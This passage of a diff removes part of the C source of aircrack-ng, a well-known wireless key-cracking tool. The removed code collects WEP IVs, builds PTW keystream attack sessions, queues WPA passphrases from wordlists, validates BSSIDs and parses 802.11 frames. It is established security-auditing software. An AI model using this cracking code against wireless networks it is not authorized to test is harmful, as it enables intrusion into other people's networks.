-			   "      -u         : Displays # of CPUs & MMX/SSE support\n"
-			   "      --help     : Displays this usage screen\n"
-			   "\n";
-
-struct session * cracking_session = NULL;
-char * progname = NULL;
-int intr_read = 0;
-
-static int safe_write(int fd, void * buf, size_t len);
-struct AP_info * hccapx_to_ap(struct hccapx * hx);
-
-static inline int append_ap(struct AP_info * new_ap)
-{
-	return c_avl_insert(access_points, new_ap->bssid, new_ap);
-}
-
-static int load_hccapx_file(int fd)
-{
-	hccapx_t hx;
-	struct AP_info * ap_cur = NULL;
-
-	lseek(fd, 0, SEEK_SET);
-
-	while (read(fd, &hx, sizeof(hccapx_t)))
-	{
-		nb_pkt++;
-		ap_cur = hccapx_to_ap(&hx);
-		append_ap(ap_cur);
-	}
-	return nb_pkt;
-}
-
-static struct AP_info * get_first_target(void)
-{
-	struct AP_info * target = NULL;
-	void * key;
-	c_avl_iterator_t * it = c_avl_get_iterator(targets);
-	c_avl_iterator_next(it, &key, (void **) &target);
-	c_avl_iterator_destroy(it);
-	it = NULL;
-	return target;
-}
-
-static void destroy_ap(struct AP_info * ap)
-{
-	struct ST_info * st_tmp = NULL;
-	if (ap->ivbuf != NULL)
-	{
-		free(ap->ivbuf);
-		ap->ivbuf = NULL;
-	}
-
-	if (ap->stations != NULL)
-	{
-		void * key = NULL;
-		while (c_avl_pick(ap->stations, &key, (void **) &st_tmp) == 0)
-		{
-			free(st_tmp);
-		}
-		c_avl_destroy(ap->stations);
-		ap->stations = NULL;
-	}
-
-	uniqueiv_wipe(ap->uiv_root);
-	ap->uiv_root = NULL;
-
-	if (ap->ptw_clean != NULL)
-	{
-		if (ap->ptw_clean->allsessions != NULL)
-		{
-			free(ap->ptw_clean->allsessions);
-			ap->ptw_clean->allsessions = NULL;
-		}
-		free(ap->ptw_clean);
-		ap->ptw_clean = NULL;
-	}
-
-	if (ap->ptw_vague != NULL)
-	{
-		if (ap->ptw_vague->allsessions != NULL)
-		{
-			free(ap->ptw_vague->allsessions);
-			ap->ptw_vague->allsessions = NULL;
-		}
-		free(ap->ptw_vague);
-		ap->ptw_vague = NULL;
-	}
-}
-
-static void ac_aplist_free(void)
-{
-	pthread_mutex_lock(&mx_apl);
-	struct AP_info * ap_cur = NULL;
-	void * key;
-
-	while (c_avl_pick(access_points, &key, (void **) &ap_cur) == 0)
-	{
-		destroy_ap(ap_cur);
-		free(ap_cur);
-	}
-	pthread_mutex_unlock(&mx_apl);
-}
-
-/**
- * Release all unused AP base-stations stored in \a access_points, keeping
- * only the specified \a ap_cur AP base-station.
- *
- * @param ap_cur The AP base-station to keep.
- */
-static void ap_avl_release_unused(struct AP_info * ap_cur)
-{
-	c_avl_tree_t * tmp_access_points = c_avl_create(station_compare);
-	c_avl_insert(tmp_access_points, ap_cur->bssid, ap_cur);
-
-	pthread_mutex_lock(&mx_apl);
-
-	void * key = NULL;
-	struct AP_info * ap_tmp = NULL;
-	while (c_avl_pick(access_points, &key, (void **) &ap_tmp) == 0)
-	{
-		if (ap_tmp != ap_cur)
-		{
-			destroy_ap(ap_tmp);
-			free(ap_tmp);
-		}
-	}
-
-	c_avl_destroy(access_points);
-	access_points = tmp_access_points;
-
-	pthread_mutex_unlock(&mx_apl);
-}
-
-static int add_wep_iv(struct AP_info * ap, unsigned char * buffer)
-{
-	/* check for uniqueness first */
-	if (ap->nb_ivs == 0) ap->uiv_root = uniqueiv_init();
-
-	if (uniqueiv_check(ap->uiv_root, buffer) == 0)
-	{
-		/* add the IV & first two encrypted bytes */
-
-		long n = ap->nb_ivs * 5;
-
-		if (n + 5 > ap->ivbuf_size || ap->ivbuf == NULL)
-		{
-			/* enlarge the IVs buffer */
-
-			ap->ivbuf_size += 131072;
-			ap->ivbuf
-				= (unsigned char *) realloc(ap->ivbuf, (size_t) ap->ivbuf_size);
-
-			if (ap->ivbuf == NULL)
-			{
-				perror("realloc failed");
-				return -1;
-			}
-		}
-
-		memcpy(ap->ivbuf + n, buffer, 5);
-
-		uniqueiv_mark(ap->uiv_root, buffer);
-		ap->nb_ivs++;
-	}
-	return 0;
-}
-
-static int parse_ivs2(struct AP_info * ap_cur,
-					  struct ivs2_pkthdr * pivs2,
-					  unsigned char * buffer)
-{
-	int weight[16];
-	struct ivs2_pkthdr ivs2 = *pivs2;
-	long n = 0;
-
-	if (ivs2.flags & IVS2_ESSID)
-	{
-		memcpy(ap_cur->essid, buffer, ivs2.len);
-	}
-	else if (ivs2.flags & IVS2_XOR)
-	{
-		ap_cur->crypt = 2;
-
-		if (opt.do_ptw)
-		{
-			int clearsize;
-
-			clearsize = ivs2.len;
-
-			if (clearsize < opt.keylen + 3) return -2;
-
-			if (PTW_addsession(ap_cur->ptw_clean,
-							   buffer,
-							   buffer + 4,
-							   PTW_DEFAULTWEIGHT,
-							   1))
-				ap_cur->nb_ivs_clean++;
-
-			if (PTW_addsession(ap_cur->ptw_vague,
-							   buffer,
-							   buffer + 4,
-							   PTW_DEFAULTWEIGHT,
-							   1))
-				ap_cur->nb_ivs_vague++;
-
-			return -2;
-		}
-
-		buffer[3] = buffer[4];
-		buffer[4] = buffer[5];
-		buffer[3] ^= 0xAA;
-		buffer[4] ^= 0xAA;
-		/* check for uniqueness first */
-
-		if (ap_cur->nb_ivs == 0) ap_cur->uiv_root = uniqueiv_init();
-
-		if (uniqueiv_check(ap_cur->uiv_root, buffer) == 0)
-		{
-			/* add the IV & first two encrypted bytes */
-
-			n = ap_cur->nb_ivs * 5;
-
-			if (n + 5 > ap_cur->ivbuf_size)
-			{
-				/* enlarge the IVs buffer */
-
-				ap_cur->ivbuf_size += 131072;
-				ap_cur->ivbuf = (unsigned char *) realloc(
-					ap_cur->ivbuf, (size_t) ap_cur->ivbuf_size);
-
-				if (ap_cur->ivbuf == NULL)
-				{
-					perror("realloc failed");
-					return -1;
-				}
-			}
-
-			memcpy(ap_cur->ivbuf + n, buffer, 5);
-			uniqueiv_mark(ap_cur->uiv_root, buffer);
-			ap_cur->nb_ivs++;
-			// 					all_ivs[256*256*buffer[0] + 256*buffer[1] +
-			// buffer[2]].used
-			// |= GOT_IV;
-		}
-	}
-	else if (ivs2.flags & IVS2_PTW)
-	{
-		ap_cur->crypt = 2;
-
-		if (opt.do_ptw)
-		{
-			int clearsize;
-
-			clearsize = ivs2.len;
-
-			if (buffer[5] < opt.keylen) return -4;
-			if (clearsize < (6 + buffer[4] * 32 + 16 * (signed) sizeof(int)))
-				return -5;
-
-			memcpy(weight,
-				   buffer + clearsize - 15 * sizeof(int),
-				   16 * sizeof(int));
-			// 					printf("weight 1: %d, weight 2: %d\n",
-			// weight[0],
-			// weight[1]);
-
-			if (PTW_addsession(
-					ap_cur->ptw_vague, buffer, buffer + 6, weight, buffer[4]))
-				ap_cur->nb_ivs_vague++;
-
-			return -6;
-		}
-
-		buffer[3] = buffer[6];
-		buffer[4] = buffer[7];
-		buffer[3] ^= 0xAA;
-		buffer[4] ^= 0xAA;
-		/* check for uniqueness first */
-
-		if (ap_cur->nb_ivs == 0) ap_cur->uiv_root = uniqueiv_init();
-
-		if (uniqueiv_check(ap_cur->uiv_root, buffer) == 0)
-		{
-			/* add the IV & first two encrypted bytes */
-
-			n = ap_cur->nb_ivs * 5;
-
-			if (n + 5 > ap_cur->ivbuf_size)
-			{
-				/* enlarge the IVs buffer */
-
-				ap_cur->ivbuf_size += 131072;
-				ap_cur->ivbuf = (unsigned char *) realloc(
-					ap_cur->ivbuf, (size_t) ap_cur->ivbuf_size);
-
-				if (ap_cur->ivbuf == NULL)
-				{
-					perror("realloc failed");
-					return -1;
-				}
-			}
-
-			memcpy(ap_cur->ivbuf + n, buffer, 5);
-			uniqueiv_mark(ap_cur->uiv_root, buffer);
-			ap_cur->nb_ivs++;
-		}
-	}
-	else if (ivs2.flags & IVS2_WPA)
-	{
-		ap_cur->crypt = 3;
-		memcpy(&ap_cur->wpa, buffer, sizeof(struct WPA_hdsk));
-	}
-	return 0;
-}
-
-static void clean_exit(int ret)
-{
-	int i = 0;
-	// 	int j=0, k=0, attack=0;
-	int child_pid;
-
-	char tmpbuf[128];
-	memset(tmpbuf, 0, 128);
-
-	if (ret && !opt.is_quiet)
-	{
-		printf("\nQuitting aircrack-ng...\n");
-		fflush(stdout);
-	}
-	close_aircrack = 1;
-
-	for (i = 0; i < opt.nbcpu; i++)
-	{
-#ifndef CYGWIN
-		safe_write(mc_pipe[i][1], (void *) "EXIT\r", 5);
-		safe_write(bf_pipe[i][1], (void *) tmpbuf, 64);
-#endif
-		close(mc_pipe[i][0]);
-		close(mc_pipe[i][1]);
-		close(cm_pipe[i][0]);
-		close(cm_pipe[i][1]);
-		close(bf_pipe[i][0]);
-		close(bf_pipe[i][1]);
-	}
-
-	// Stop cracking session thread
-	if (cracking_session)
-	{
-		pthread_join(cracking_session_tid, NULL);
-	}
-
-	for (i = 0; i < opt.nbcpu; i++)
-		if (tid[i] != 0)
-		{
-			if (pthread_join(tid[i], NULL) != 0) perror("pthread_join");
-			tid[i] = 0;
-		}
-
-	for (i = 0; i < opt.nbcpu; i++)
-	{
-		if (wpa_data[i].key_buffer != NULL)
-		{
-			free(wpa_data[i].key_buffer);
-			wpa_data[i].key_buffer = NULL;
-		}
-		pthread_cond_destroy(&wpa_data[i].cond);
-		pthread_mutex_destroy(&wpa_data[i].mutex);
-	}
-
-	dso_ac_crypto_engine_destroy(&engine);
-	ac_crypto_engine_loader_unload();
-
-	if (cpuset != NULL)
-	{
-		ac_cpuset_destroy(cpuset);
-		ac_cpuset_free(cpuset);
-	}
-
-	if (opt.totaldicts)
-	{
-		for (i = 0; i < opt.totaldicts; i++)
-		{
-			if (opt.dicts[i] != NULL)
-			{
-				free(opt.dicts[i]);
-				opt.dicts[i] = NULL;
-			}
-		}
-	}
-
-	if (wep.ivbuf != NULL)
-	{
-		free(wep.ivbuf);
-		wep.ivbuf = NULL;
-	}
-
-	if (opt.logKeyToFile != NULL)
-	{
-		free(opt.logKeyToFile);
-		opt.logKeyToFile = NULL;
-	}
-
-	ac_aplist_free();
-	if (access_points != NULL)
-	{
-		c_avl_destroy(access_points);
-		access_points = NULL;
-	}
-	if (targets != NULL)
-	{
-		c_avl_destroy(targets);
-		targets = NULL;
-	}
-
-// 	attack = A_s5_1;
-// 	printf("Please wait for evaluation...\n");
-// 	for(i=0; i<(256*256*256); i++)
-// 	{
-// 		if((all_ivs[i].used & GOT_IV) && !(all_ivs[i].used & USE_IV))
-// 			j++;
-//
-// 		if((all_ivs[i].used & GOT_IV) && (all_ivs[i].used & (1<<(attack+4)) ) )
-// 		{
-// 			printf("IV %02X:%02X:%02X used for %d\n", (i/(256*256)),
-// ((i&0xFFFF)/(256)), (i&0xFF), attack);
-// 			k++;
-// 		}
-// 	}
-//
-// 	printf("%d unused IVs\n", j);
-// 	printf("%d used IVs for %d\n", k, attack);
-
-#ifdef HAVE_SQLITE
-	if (db != NULL)
-	{
-		sqlite3_close(db);
-		db = NULL;
-	}
-#endif
-
-	if (progname != NULL)
-	{
-		free(progname);
-		progname = NULL;
-	}
-
-	if (cracking_session)
-	{
-		// TODO: Delete file when cracking fails
-		if (opt.dictfinish || wepkey_crack_success || wpa_wordlists_done
-			|| nb_tried == opt.wordcount)
-		{
-			ac_session_destroy(cracking_session);
-		}
-		ac_session_free(&cracking_session);
-	}
-
-	child_pid = fork();
-
-	if (child_pid == -1)
-	{
-		/* do error stuff here */
-	}
-	if (child_pid != 0)
-	{
-		/* The parent process exits here. */
-
-		exit(0);
-	}
-
-	_exit(ret);
-}
-
-static void sighandler(int signum)
-{
-#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
-	_PGOPTI_Prof_Dump();
-#endif
-#if !defined(__CYGWIN__)
-	// We can't call this on cygwin or we will sometimes end up
-	// having all our threads die with exit code 35584 fairly reproducible
-	// at around 2.5-3% of runs
-	signal(signum, sighandler);
-#endif
-
-	if (signum == SIGQUIT) clean_exit(SUCCESS);
-	// 		_exit( SUCCESS );
-
-	if (signum == SIGTERM) clean_exit(FAILURE);
-	// 		_exit( FAILURE );
-
-	if (signum == SIGINT)
-	{
-#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
-		clean_exit(FAILURE);
-//		_exit( FAILURE );
-#else
-		/*		if(intr_read > 0)*/
-		clean_exit(FAILURE);
-/*		else
-			intr_read++;*/
-#endif
-	}
-
-	if (signum == SIGWINCH) erase_display(2);
-}
-
-int wpa_send_passphrase(char * key, struct WPA_data * data, int lock);
-
-inline int wpa_send_passphrase(char * key, struct WPA_data * data, int lock)
-{
-	int delta = 0, i = 0, fincnt = 0;
-	off_t tmpword = 0;
-
-	pthread_mutex_lock(&data->mutex);
-
-	if (!opt.dictfinish)
-	{
-		delta = chrono(&t_dictup, 0);
-
-		if ((int) delta >= 2)
-		{
-			for (; i < opt.totaldicts; i++)
-			{
-				if (opt.dictidx[i].loaded)
-				{
-					fincnt++;
-					continue;
-				}
-
-				if (opt.dictidx[i].dictsize > READBUF_BLKSIZE)
-				{
-					tmpword = (long double) linecount(
-						opt.dicts[i], opt.dictidx[i].dictpos, 32);
-					opt.dictidx[i].wordcount += tmpword;
-					opt.wordcount += tmpword;
-					opt.dictidx[i].dictpos += (READBUF_BLKSIZE * 32);
-
-					if (opt.dictidx[i].dictpos >= opt.dictidx[i].dictsize)
-						opt.dictidx[i].loaded = 1;
-
-					// Only process a chunk then come back later for more.
-					break;
-				}
-			}
-
-			if (fincnt == opt.totaldicts)
-				opt.dictfinish = 1;
-			else
-				delta = chrono(&t_dictup, 1);
-		}
-	}
-
-	if ((data->back + 1) % data->nkeys == data->front)
-	{
-		if (lock != 0)
-		{
-			// wait until there's room in the queue
-			pthread_cond_wait(&data->cond, &data->mutex);
-		}
-		else
-		{
-			pthread_mutex_unlock(&data->mutex);
-			return 0; // full queue!
-		}
-	}
-
-	// put one key in the buffer:
-	memcpy(data->key_buffer + data->back * WPA_DATA_KEY_BUFFER_LENGTH,
-		   key,
-		   MAX_PASSPHRASE_LENGTH + 1);
-	data->back = (data->back + 1) % data->nkeys;
-
-	pthread_mutex_unlock(&data->mutex);
-
-	return 1;
-}
-
-int wpa_receive_passphrase(char * key, struct WPA_data * data);
-
-inline int wpa_receive_passphrase(char * key, struct WPA_data * data)
-{
-	pthread_mutex_lock(&data->mutex);
-
-	if (data->front == data->back)
-	{
-		pthread_mutex_unlock(&data->mutex);
-		return 0; // empty queue!
-	}
-
-// get one key from the buffer:
-#ifdef XDEBUG
-	printf("%lu: Sending: %s\n",
-		   pthread_self(),
-		   (data->key_buffer + data->front * 128));
-#endif
-	memcpy(key,
-		   data->key_buffer + data->front * WPA_DATA_KEY_BUFFER_LENGTH,
-		   MAX_PASSPHRASE_LENGTH + 1);
-	data->front = (data->front + 1) % data->nkeys;
-
-	// signal that there's now room in the queue for more keys
-	pthread_mutex_unlock(&data->mutex);
-	pthread_cond_signal(&data->cond);
-
-	return 1;
-}
-
-/* Returns number of BSSIDs.
-
-	Return value is negative for failures
-*/
-static int checkbssids(const char * bssidlist)
-{
-	int first = 1;
-	int failed = 0;
-	int i = 0;
-	char *list, *frontlist, *tmp;
-	int nbBSSID = 0;
-
-	if (bssidlist == NULL) return -1;
-
-#define IS_X(x) ((x) == 'X' || (x) == 'x')
-#define VALID_CHAR(x) ((IS_X(x)) || hexCharToInt(x) > -1)
-
-#define VALID_SEP(arg) (((arg) == '_') || ((arg) == '-') || ((arg) == ':'))
-	frontlist = list = strdup(bssidlist);
-	do
-	{
-		tmp = strsep(&list, ",");
-
-		if (tmp == NULL) break;
-
-		++nbBSSID;
-
-		if (strlen(tmp) != 17) failed = 1;
-
-		// first byte
-		if (!VALID_CHAR(tmp[0])) failed = 1;
-		if (!VALID_CHAR(tmp[1])) failed = 1;
-		if (!VALID_SEP(tmp[2])) failed = 1;
-
-		// second byte
-		if (!VALID_CHAR(tmp[3])) failed = 1;
-		if (!VALID_CHAR(tmp[4])) failed = 1;
-		if (!VALID_SEP(tmp[5])) failed = 1;
-
-		// third byte
-		if (!VALID_CHAR(tmp[6])) failed = 1;
-		if (!VALID_CHAR(tmp[7])) failed = 1;
-		if (!VALID_SEP(tmp[8])) failed = 1;
-
-		// fourth byte
-		if (!VALID_CHAR(tmp[9])) failed = 1;
-		if (!VALID_CHAR(tmp[10])) failed = 1;
-		if (!VALID_SEP(tmp[11])) failed = 1;
-
-		// fifth byte
-		if (!VALID_CHAR(tmp[12])) failed = 1;
-		if (!VALID_CHAR(tmp[13])) failed = 1;
-		if (!VALID_SEP(tmp[14])) failed = 1;
-
-		// sixth byte
-		if (!VALID_CHAR(tmp[15])) failed = 1;
-		if (!VALID_CHAR(tmp[16])) failed = 1;
-
-		if (failed)
-		{
-			free(frontlist);
-			return -1;
-		}
-
-		if (first)
-		{
-			for (i = 0; i < 17; i++)
-			{
-				if (IS_X(tmp[i]))
-				{
-					free(frontlist);
-					return -1;
-				}
-			}
-
-			opt.firstbssid = (unsigned char *) malloc(sizeof(unsigned char));
-			if (opt.firstbssid == NULL)
-			{
-				free(frontlist);
-				return -1;
-			}
-			getmac(tmp, 1, opt.firstbssid);
-			first = 0;
-		}
-
-	} while (list);
-
-	// Success
-	free(frontlist);
-	return nbBSSID;
-}
-
-static void session_save_thread(void * arg)
-{
-	struct timeval start;
-	struct timeval stop;
-	int8_t wordlist = 0;
-	uint64_t pos;
-
-	(void) arg;
-
-	if (!cracking_session || opt.stdin_dict)
-	{
-		return;
-	}
-
-	// Start chrono
-	gettimeofday(&start, NULL);
-
-	while (!close_aircrack)
-	{
-
-		// Check if we're over the 10 minutes mark
-		gettimeofday(&stop, NULL);
-		if (stop.tv_sec - start.tv_sec < 10 * 60)
-		{
-			// Wait 100ms
-			if (usleep(100000) == -1)
-			{
-				break; // Got a signal
-			}
-			continue;
-		}
-
-		// Reset chrono
-		start.tv_sec = stop.tv_sec;
-
-		pos = wordlist = 0;
-		// Get position in file
-		pthread_mutex_lock(&mx_dic);
-		if (opt.dict)
-		{
-			wordlist = 1;
-			pos = ftello(opt.dict);
-		}
-		pthread_mutex_unlock(&mx_dic);
-
-		// If there is no wordlist, that means it's the end
-		// (either forced closing and wordlist was closed or
-		//  we've tried all wordlists).
-		if (wordlist == 0)
-		{
-			break;
-		}
-
-		// Update amount of keys tried and save it
-		ac_session_save(cracking_session, pos, nb_tried);
-	}
-}
-
-static int mergebssids(const char * bssidlist, unsigned char * bssid)
-{
-	struct mergeBSSID * list_prev;
-	struct mergeBSSID * list_cur;
-	char * mac = NULL;
-	char * list = NULL;
-	char * tmp = NULL;
-	char * tmp2 = NULL;
-	int next, i, found;
-
-	if (bssid == NULL || bssidlist == NULL || bssidlist[0] == 0)
-	{
-		return -1;
-	}
-
-	// Do not convert if equal to first bssid
-	if (memcmp(opt.firstbssid, bssid, 6) == 0) return 1;
-
-	list_prev = NULL;
-	list_cur = opt.bssid_list_1st;
-
-	while (list_cur != NULL)
-	{
-		if (memcmp(list_cur->bssid, bssid, 6) == 0)
-		{
-			if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6);
-
-			return list_cur->convert;
-		}
-
-		list_prev = list_cur;
-		list_cur = list_cur->next;
-	}
-
-	// Not found, check if it has to be converted
-	mac = (char *) malloc(18);
-
-	if (!mac)
-	{
-		perror("malloc failed");
-		return -1;
-	}
-
-	snprintf(mac,
-			 18,
-			 "%02X:%02X:%02X:%02X:%02X:%02X",
-			 bssid[0],
-			 bssid[1],
-			 bssid[2],
-			 bssid[3],
-			 bssid[4],
-			 bssid[5]);
-	mac[17] = 0;
-
-	tmp2 = list = strdup(bssidlist);
-
-	// skip first element (because it doesn't have to be converted
-	// It already has the good value
-	tmp = strsep(&list, ",");
-
-	next = found = 0;
-
-	do
-	{
-		next = 0;
-		tmp = strsep(&list, ",");
-		if (tmp == NULL) break;
-
-		// Length already checked, no need to check it again
-
-		for (i = 0; i < 17; ++i)
-		{
-			if ((IS_X(tmp[i]) || VALID_SEP(tmp[i]))) continue;
-
-			if (toupper((int) tmp[i]) != (int) mac[i])
-			{
-				// Not found
-				next = 1;
-				break;
-			}
-		}
-
-		if (next == 0)
-		{
-			found = 1;
-			break;
-		}
-	} while (list);
-
-	// Free memory
-	if (mac != NULL) free(mac);
-	if (tmp2 != NULL) free(tmp2);
-
-	// Add the result to the list
-	list_cur = (struct mergeBSSID *) malloc(sizeof(struct mergeBSSID));
-
-	if (!list_cur)
-	{
-		perror("malloc failed");
-		return -1;
-	}
-
-	list_cur->convert = found;
-	list_cur->next = NULL;
-	memcpy(list_cur->bssid, bssid, 6);
-
-	if (opt.bssid_list_1st == NULL)
-		opt.bssid_list_1st = list_cur;
-	else
-		list_prev->next = list_cur;
-
-	// Do not forget to convert if it was successful
-	if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6);
-
-#undef VALID_CHAR
-#undef VALID_SEP
-#undef IS_X
-
-	return list_cur->convert;
-}
-
-/* fread isn't atomic, sadly */
-
-static int atomic_read(read_buf * rb, int fd, int len, void * buf)
-{
-	ssize_t n;
-
-	if (close_aircrack) return (CLOSE_IT);
-
-	if (rb->buf1 == NULL)
-	{
-		rb->buf1 = malloc(65536);
-		rb->buf2 = malloc(65536);
-
-		if (rb->buf1 == NULL || rb->buf2 == NULL) return (0);
-
-		rb->off1 = 0;
-		rb->off2 = 0;
-	}
-
-	if (len > 65536 - rb->off1)
-	{
-		rb->off2 -= rb->off1;
-
-		memcpy(rb->buf2, (char *) rb->buf1 + rb->off1, (size_t) rb->off2);
-		memcpy(rb->buf1, (char *) rb->buf2, (size_t) rb->off2);
-
-		rb->off1 = 0;
-	}
-
-	if (rb->off2 - rb->off1 >= len)
-	{
-		memcpy(buf, (char *) rb->buf1 + rb->off1, (size_t) len);
-		rb->off1 += len;
-		return (1);
-	}
-	else
-	{
-		n = read(fd, (char *) rb->buf1 + rb->off2, (size_t)(65536 - rb->off2));
-
-		if (n <= 0) return (0);
-
-		rb->off2 += n;
-
-		if (rb->off2 - rb->off1 >= len)
-		{
-			memcpy(buf, (char *) rb->buf1 + rb->off1, (size_t) len);
-			rb->off1 += len;
-			return (1);
-		}
-	}
-
-	return (0);
-}
-
-/**
- * Calculate the WEP session's keystream, for PTW based attacks.
- *
- * @param body The packet data contained within an 802.11 frame.
- * @param dlen The length of the \a body parameter.
- * @param ap_cur A reference to the AP base-station.
- * @param h80211 A reference to the entire 802.11 frame data, for
- *               which \a body is located inside.
- * @return Returns zero on success. Returns non-zero for an error (> zero)
- *         or exception (< zero).
- */
-static int calculate_wep_keystream(unsigned char * body,
-								   int dlen,
-								   struct AP_info * ap_cur,
-								   unsigned char * h80211)
-{
-	unsigned char clear[2048];
-	int clearsize, i, j, k;
-	int weight[16];
-
-	memset(weight, 0, sizeof(weight));
-	memset(clear, 0, sizeof(clear));
-
-	/* calculate keystream */
-	k = known_clear(clear, &clearsize, weight, h80211, (size_t) dlen);
-	if (clearsize < (opt.keylen + 3)) return 0;
-
-	for (j = 0; j < k; j++)
-	{
-		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
-	}
-
-	if (k == 1)
-	{
-		if (ap_cur->ptw_clean == NULL)
-		{
-			ap_cur->ptw_clean = PTW_newattackstate();
-			if (!ap_cur->ptw_clean)
-			{
-				perror("PTW_newattackstate()");
-				return -1;
-			}
-		}
-
-		if (PTW_addsession(ap_cur->ptw_clean, body, clear, weight, k))
-			ap_cur->nb_ivs_clean++;
-	}
-
-	if (ap_cur->ptw_vague == NULL)
-	{
-		ap_cur->ptw_vague = PTW_newattackstate();
-		if (!ap_cur->ptw_vague)
-		{
-			perror("PTW_newattackstate()");
-			return -2;
-		}
-	}
-
-	if (PTW_addsession(ap_cur->ptw_vague, body, clear, weight, k))
-		ap_cur->nb_ivs_vague++;
-
-	return 0;
-}
-
-/**
- * Updates the current AP with additional information, such as stations.
- *
- * @param ap_cur The AP we are updating.
- * @param fmt The incoming \a buffer binary format.
- * @param buffer The incoming packet data.
- * @param h80211 A reference within \a buffer for the 802.11 frame.
- * @param ivs2 A reference to an IVS2 packet structure.
- * @param pkh A reference to the packet's header content.
- * @return Returns zero on success. Returns non-zero for an error (> zero)
- *         or exception (< zero).
- */
-static int packet_reader__update_ap_info(struct AP_info * ap_cur,
-										 int fmt,
-										 unsigned char * buffer,
-										 unsigned char * h80211,
-										 struct ivs2_pkthdr * ivs2,
-										 struct pcap_pkthdr * pkh,
-										 packet_reader_t * me)
-{
-	assert(ap_cur != NULL);
-	assert(buffer != NULL);
-	assert(h80211 != NULL);
-	assert(ivs2 != NULL);
-	assert(pkh != NULL);
-
-	struct ST_info * st_cur = NULL;
-	unsigned char stmac[6];
-	unsigned char * p = NULL;
-
-	if (fmt == FORMAT_IVS)
-	{
-		ap_cur->crypt = 2;
-		if (me->mode == PACKET_READER_READ_MODE) add_wep_iv(ap_cur, buffer);
-		return 0;
-	}
-	else if (fmt == FORMAT_IVS2)
-	{
-		if (me->mode == PACKET_READER_READ_MODE)
-			parse_ivs2(ap_cur, ivs2, buffer);
-		return 0;
-	}
-
-	/* locate the station MAC in the 802.11 header */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-			memcpy(stmac, h80211 + 10, 6);
-			break;
-
-		case 1:
-			memcpy(stmac, h80211 + 10, 6);
-			break;
-
-		case 2:
-			/* reject broadcast MACs */
-			if ((h80211[4] % 2) != 0) goto skip_station;
-			memcpy(stmac, h80211 + 4, 6);
-			break;
-
-		default:
-			goto skip_station;
-	}
-
-	int not_found = c_avl_get(ap_cur->stations, stmac, (void **) &st_cur);
-
-	/* if it's a new supplicant, add it */
-	if (not_found)
-	{
-		st_cur = (struct ST_info *) malloc(sizeof(struct ST_info));
-		if (st_cur == NULL)
-		{
-			perror("malloc failed");
-			return -1;
-		}
-		memset(st_cur, 0, sizeof(struct ST_info));
-
-		memcpy(st_cur->stmac, stmac, sizeof(st_cur->stmac));
-		c_avl_insert(ap_cur->stations, st_cur->stmac, st_cur);
-	}
-
-skip_station:
-
-	/* packet parsing: Beacon or Probe Response */
-
-	if (h80211[0] == 0x80 || h80211[0] == 0x50)
-	{
-		if (ap_cur->crypt < 0) ap_cur->crypt = (h80211[34] & 0x10) >> 4;
-
-		p = h80211 + 36;
-
-		while (p < h80211 + pkh->caplen)
-		{
-			if (p + 2 + p[1] > h80211 + pkh->caplen) break;
-
-			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0')
-			{
-				/* found a non-cloaked ESSID */
-				int n = (p[1] > 32) ? 32 : p[1];
-
-				memset(ap_cur->essid, 0, 33);
-				memcpy(ap_cur->essid, p + 2, n);
-			}
-
-			p += 2 + p[1];
-		}
-	}
-
-	/* packet parsing: Association Request */
-
-	if (h80211[0] == 0x00)
-	{
-		p = h80211 + 28;
-
-		while (p < h80211 + pkh->caplen)
-		{
-			if (p + 2 + p[1] > h80211 + pkh->caplen) break;
-
-			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0')
-			{
-				int n = (p[1] > 32) ? 32 : p[1];
-
-				memset(ap_cur->essid, 0, 33);
-				memcpy(ap_cur->essid, p + 2, n);
-			}
-
-			p += 2 + p[1];
-		}
-	}
-
-	/* packet parsing: Association Response */
-
-	if (h80211[0] == 0x10)
-	{
-		/* reset the WPA handshake state */
-		if (st_cur != NULL) st_cur->wpa.state = 0;
-	}
-
-	/* check if data */
-
-	if ((h80211[0] & 0x0C) != 0x08) return 0;
-
-	/* check minimum size */
-
-	unsigned z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if ((h80211[0] & 0x80) == 0x80) z += 2; /* 802.11e QoS */
-
-	if (z + 16 > pkh->caplen) return 0;
-
-	/* check the SNAP header to see if data is encrypted */
-
-	if (h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03)
-	{
-		if (!opt.forced_amode)
-		{
-			ap_cur->crypt = 2; /* encryption = WEP */
-
-			/* check the extended IV flag */
-			if ((h80211[z + 3] & 0x20) != 0)
-			{
-				/* encryption = WPA */
-				ap_cur->crypt = 3;
-			}
-		}
-
-		/* check the WEP key index */
-
-		if (opt.index != 0 && (h80211[z + 3] >> 6) != opt.index - 1) return 0;
-
-		if (opt.do_ptw)
-		{
-			unsigned char * body = h80211 + z;
-			int data_len = (int) (pkh->caplen - (body - h80211) - 4 - 4);
-
-			if ((h80211[1] & 0x03) == 0x03) // 30byte header
-			{
-				body += 6;
-				data_len -= 6;
-			}
-
-			if (me->mode == PACKET_READER_READ_MODE)
-				calculate_wep_keystream(body, data_len, ap_cur, h80211);
-			return 0;
-		}
-
-		/* save the IV & first two output bytes */
-
-		memcpy(buffer, h80211 + z, 3);
-		memcpy(buffer + 3, h80211 + z + 4, 2);
-
-		/* Special handling for spanning-tree packets */
-		if (memcmp(h80211 + 4, SPANTREE, 6) == 0
-			|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
-		{
-			buffer[3] = (uint8_t)((buffer[3] ^ 0x42) ^ 0xAA);
-			buffer[4] = (uint8_t)((buffer[4] ^ 0x42) ^ 0xAA);
-		}
-
-		if (me->mode == PACKET_READER_READ_MODE) add_wep_iv(ap_cur, buffer);
-		return 0;
-	}
-
-	if (ap_cur->crypt < 0) ap_cur->crypt = 0; /* no encryption */
-
-	/* if ethertype == IPv4, find the LAN address */
-
-	z += 6;
-
-	if (z + 20 < pkh->caplen)
-	{
-		if (h80211[z] == 0x08 && h80211[z + 1] == 0x00
-			&& (h80211[1] & 3) == 0x01)
-			memcpy(ap_cur->lanip, &h80211[z + 14], 4);
-
-		if (h80211[z] == 0x08 && h80211[z + 1] == 0x06)
-			memcpy(ap_cur->lanip, &h80211[z + 16], 4);
-	}
-
-	/* check ethertype == EAPOL */
-
